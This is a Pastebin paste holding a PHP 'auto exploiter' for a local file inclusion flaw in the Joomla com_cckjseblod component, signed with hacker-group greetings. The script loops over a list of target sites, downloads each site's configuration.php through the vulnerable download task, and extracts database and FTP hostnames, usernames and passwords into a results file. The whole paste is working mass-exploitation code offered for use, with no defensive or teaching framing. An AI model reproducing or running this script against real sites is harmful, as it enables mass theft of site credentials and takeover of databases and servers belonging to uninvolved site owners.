Advertisement
Kro0oz

cckjseblod auto exploiter

Nov 18th, 2015
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.41 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  @error_reporting(0);
  5. @set_time_limit(0);
  6.  
  7.  
  8. print "
  9.  
  10. ##    ## ########   #######    #####    #######  ########
  11. ##   ##  ##     ## ##     ##  ##   ##  ##     ##      ##  
  12. ##  ##   ##     ## ##     ## ##     ## ##     ##     ##  
  13. #####    ########  ##     ## ##     ## ##     ##    ##    
  14. ##  ##   ##   ##   ##     ## ##     ## ##     ##   ##    
  15. ##   ##  ##    ##  ##     ##  ##   ##  ##     ##  ##      
  16. ##    ## ##     ##  #######    #####    #######  ########
  17.        __/ | Joomla com_cckjseblod LFI
  18.       |___/  
  19.    Greetz :  - my Friends - group-305 sunehk <3
  20.  
  21. " ;
  22.  
  23.  
  24. $g=@file_get_contents($argv[1]);
  25. $ss=explode("\r\n",$g);
  26. $open=fopen("result.html","a");
  27.  
  28.  
  29. foreach ($ss as $links){
  30.   $lofe="$links/index.php?option=com_cckjseblod&task=download&file=configuration.php";
  31.   $gg=@file_get_contents($lofe);
  32.   if(preg_match("#class JConfig#",$gg)){
  33.      echo "\n[+] $links ==> infected\n";fwrite($open,"<br>[+] $links <br>");
  34.      preg_match("#tmp_path = '(.*?)\/tmp';#",$gg,$r);echo "    [-] path of site : $r[1]/\n";fwrite($open,"path of site : $r[1] <br>");
  35.  
  36.      echo "\t[*]>--database informations --< \n";  ///// database info
  37.      preg_match("#host = '(.*?)';#",$gg,$r);echo "\t\t[!] Host : $r[1]\n";fwrite($open,"host : $r[1] <br>");
  38.      preg_match_all("#user = '(.*?)';#",$gg,$rr);echo "\t\t[!] user : ".$rr[1][1]."\n";$aaa=$rr[1][1];fwrite($open,"user :$aaa <br>");
  39.      preg_match("#password = '(.*?)';#",$gg,$r);echo "\t\t[!] password : $r[1]\n";fwrite($open,"pass : $r[1] <br>");
  40.      preg_match("#db = '(.*?)';#",$gg,$r);echo "\t\t[!] Database : $r[1]\n";fwrite($open,"db: $r[1] <br>");
  41.  
  42.      echo "\t[*]>--Ftp informations --< \n";    /////// ftp info
  43.      preg_match("#ftp_enable = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp enable : $r[1]\n";
  44.      preg_match("#ftp_host = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp_host : $r[1]\n";fwrite($open,"ftp-host : $r[1] <br>");
  45.      preg_match("#ftp_port = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp port : $r[1]\n";fwrite($open,"ftp-port : $r[1] <br>");
  46.      preg_match("#ftp_user = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp user : $r[1]\n";fwrite($open,"ftp-user : $r[1] <br>");
  47.      preg_match("#ftp_pass = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp pass : $r[1]\n";fwrite($open,"ftp-pass : $r[1] <br>");
  48.      preg_match("#ftp_root = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp root : $r[1]\n";
  49.   }else{
  50.     echo "\n[+] $links ==> Not infected\n";
  51.   }
  52. }
  53. fclose($open);
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement